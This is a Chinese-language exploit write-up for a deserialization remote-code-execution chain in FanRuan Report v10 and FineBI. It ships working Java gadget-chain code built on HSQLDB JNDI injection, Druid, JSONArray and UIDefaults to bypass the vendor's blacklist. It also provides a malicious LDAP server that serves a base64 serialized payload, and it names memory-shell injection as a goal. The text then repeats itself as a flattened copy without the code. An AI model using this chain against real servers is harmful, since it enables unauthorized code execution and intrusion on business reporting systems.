帆软HSQL二次反序列化利用浅析
字数 1168 2025-08-24 07:48:22

帆软HSQL二次反序列化利用深度分析

漏洞概述

本漏洞影响范围包括2024年5月更新前的帆软Report v10全版本以及FineBi产品。该漏洞利用链通过Druid调用HSQLDB实现RCE(远程代码执行)。在上一大版本中,帆软已封禁主要利用类java.security.SignedObject,使得传统的二次反序列化利用方式失效。

黑名单分析

黑名单文件位置:fine-core-10.0.jar!/com/fr/serialization/blacklist.txt

该黑名单包含了绝大多数公开的反序列化利用类,使得直接通过反序列化绕过黑名单变得困难,需要寻找新的利用方式。

HSQLDB JNDI利用方式

帆软自带HSQLDB驱动,可通过以下方式实现JNDI注入:

Class.forName("com.fr.third.org.hsqldb.jdbc.JDBCDriver");
String dburl = "jdbc:hsqldb:mem";
Connection connection = DriverManager.getConnection(dburl, "sa", "");
connection.prepareStatement("CALL \"javax.naming.InitialContext.doLookup\"('ldap://127.0.0.1:1389/remoteExploit8')").executeQuery();

实战优化建议

  • 使用DruidDataSource封装,扩大利用范围
  • 添加setInitialSize函数减少连接次数
  • 处理序列化问题:将无法序列化的元素置空或通过反射设置为空

调用链分析

可用调用链类型

  1. CommonBean
  2. Hibernate
  3. Rome
  4. Jackson

现状分析

  • 前三个类已被加入黑名单
  • Jackson.POJONode在小版本更新后也被封禁

Jackson链替代方案

通过com.fr.json.JSONArray#toString触发:

  1. 调用com.fr.json.revise.EmbedJson#encode
  2. 触发MAPPER.writeValueAsString
  3. 执行封装在ArrayList数组中的templates实现RCE

调用栈

serializeFields:779, BeanSerializerBase{com.fr.third.fasterxml.jackson.databind.ser.std}
serialize:178, BeanSerializer{com.fr.third.fasterxml.jackson.databind.ser}
[...]
toString:590, JSONArray{com.fr.json}

UIDefaults利用链

通过javax.swing.UIDefaults的私有类TextAndMnemonicHashMap#get方法调用toString

  1. 当key对应的value为空时,调用key.toString()
  2. 继承于HashMap,可通过Hashtable触发java.util.AbstractMap#equals
  3. 类似于CC7的入口方式

示例代码

List<Object> list = new ArrayList();
list.add(templates);
JSONArray jsonArray = new JSONArray();
jsonArray.add(list);

Class<?> clazz = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Constructor<?> constructor = clazz.getDeclaredConstructor();
constructor.setAccessible(true);

HashMap hashMap1 = (HashMap)constructor.newInstance(null);
hashMap1.put(jsonArray, "yy");
HashMap hashMap2 = (HashMap)constructor.newInstance();
hashMap2.put(jsonArray, "zZ");

Hashtable hashtable = new Hashtable();
hashtable.put(hashMap1, 1);
hashtable.put(hashMap2, 2);

// 置空value以满足条件
hashMap1.put(jsonArray, null);
hashMap2.put(jsonArray, null);

完整利用链构造

Class<? extends DruidDataSource> clazz = druidXADataSource.getClass();
Class<?> superclass = clazz.getSuperclass();
Field transactionHistogram = superclass.getDeclaredField("transactionHistogram");
transactionHistogram.setAccessible(true);
transactionHistogram.set(druidXADataSource, null);
Functions.setField(druidXADataSource, "initedLatch", null);

List<Object> list = new ArrayList();
list.add(druidXADataSource);
JSONArray jsonArray = new JSONArray();
jsonArray.add(list);

Class<?> clazz2 = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Constructor<?> constructor = clazz2.getDeclaredConstructor();
constructor.setAccessible(true);
HashMap o = (HashMap)constructor.newInstance(null);
o.put(jsonArray, "yy");
HashMap o1 = (HashMap)constructor.newInstance(null);
o1.put(jsonArray, "zZ");

Hashtable hashtable = new Hashtable();
hashtable.put(o, 1);
hashtable.put(o1, 1);
o.put(jsonArray, null);
o1.put(jsonArray, null);

JNDI Server端绕过方案

方案一

利用受害者本地CLASSPATH中的类作为恶意Reference Factory工厂类执行命令。

方案二(推荐)

利用LDAP直接返回恶意序列化对象,通过反序列化Gadget执行命令。

示例代码

public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";
    
    public static void main(String[] args) {
        String url = "http://127.0.0.1:39876/#Evil";
        int port = 1389;
        
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                "listen", InetAddress.getByName("0.0.0.0"), port,
                ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
                (SSLSocketFactory)SSLSocketFactory.getDefault()));
            
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) 
            throws LDAPException, IOException, NoSuchFieldException, ClassNotFoundException, 
                   InvocationTargetException, IllegalAccessException, NoSuchMethodException, 
                   InstantiationException, NotFoundException, CannotCompileException {
            
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            e.addAttribute("javaClassName", "Exploit");
            
            // 使用CB183利用链(实战根据环境选择)
            String payload = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3J...";
            e.addAttribute("javaSerializedData", Base64.getDecoder().decode(payload));
            
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

二次反序列化方式(不出网)

通过HSQL的CALL命令调用反序列化函数:

org.terracotta.modules.ehcache.collections.SerializationHelper#deserialize

利用场景

  • 内存马注入
  • Tomcat Echo等利用方式

参考资源

  1. 浅蓝的HSQL利用指南:https://b1ue.cn/archives/458.html
  2. 相关技术文章:https://xz.aliyun.com/t/14732
帆软HSQL二次反序列化利用深度分析 漏洞概述 本漏洞影响范围包括2024年5月更新前的帆软Report v10全版本以及FineBi产品。该漏洞利用链通过Druid调用HSQLDB实现RCE(远程代码执行)。在上一大版本中,帆软已封禁主要利用类 java.security.SignedObject ,使得传统的二次反序列化利用方式失效。 黑名单分析 黑名单文件位置: fine-core-10.0.jar!/com/fr/serialization/blacklist.txt 该黑名单包含了绝大多数公开的反序列化利用类,使得直接通过反序列化绕过黑名单变得困难,需要寻找新的利用方式。 HSQLDB JNDI利用方式 帆软自带HSQLDB驱动,可通过以下方式实现JNDI注入: 实战优化建议 : 使用DruidDataSource封装,扩大利用范围 添加 setInitialSize 函数减少连接次数 处理序列化问题:将无法序列化的元素置空或通过反射设置为空 调用链分析 可用调用链类型 CommonBean Hibernate Rome Jackson 现状分析 : 前三个类已被加入黑名单 Jackson.POJONode在小版本更新后也被封禁 Jackson链替代方案 通过 com.fr.json.JSONArray#toString 触发: 调用 com.fr.json.revise.EmbedJson#encode 触发 MAPPER.writeValueAsString 执行封装在ArrayList数组中的templates实现RCE 调用栈 : UIDefaults利用链 通过 javax.swing.UIDefaults 的私有类 TextAndMnemonicHashMap#get 方法调用 toString : 当key对应的value为空时,调用 key.toString() 继承于HashMap,可通过Hashtable触发 java.util.AbstractMap#equals 类似于CC7的入口方式 示例代码 : 完整利用链构造 JNDI Server端绕过方案 方案一 利用受害者本地CLASSPATH中的类作为恶意Reference Factory工厂类执行命令。 方案二(推荐) 利用LDAP直接返回恶意序列化对象,通过反序列化Gadget执行命令。 示例代码 : 二次反序列化方式(不出网) 通过HSQL的 CALL 命令调用反序列化函数: 利用场景 : 内存马注入 Tomcat Echo等利用方式 参考资源 浅蓝的HSQL利用指南:https://b1ue.cn/archives/458.html 相关技术文章:https://xz.aliyun.com/t/14732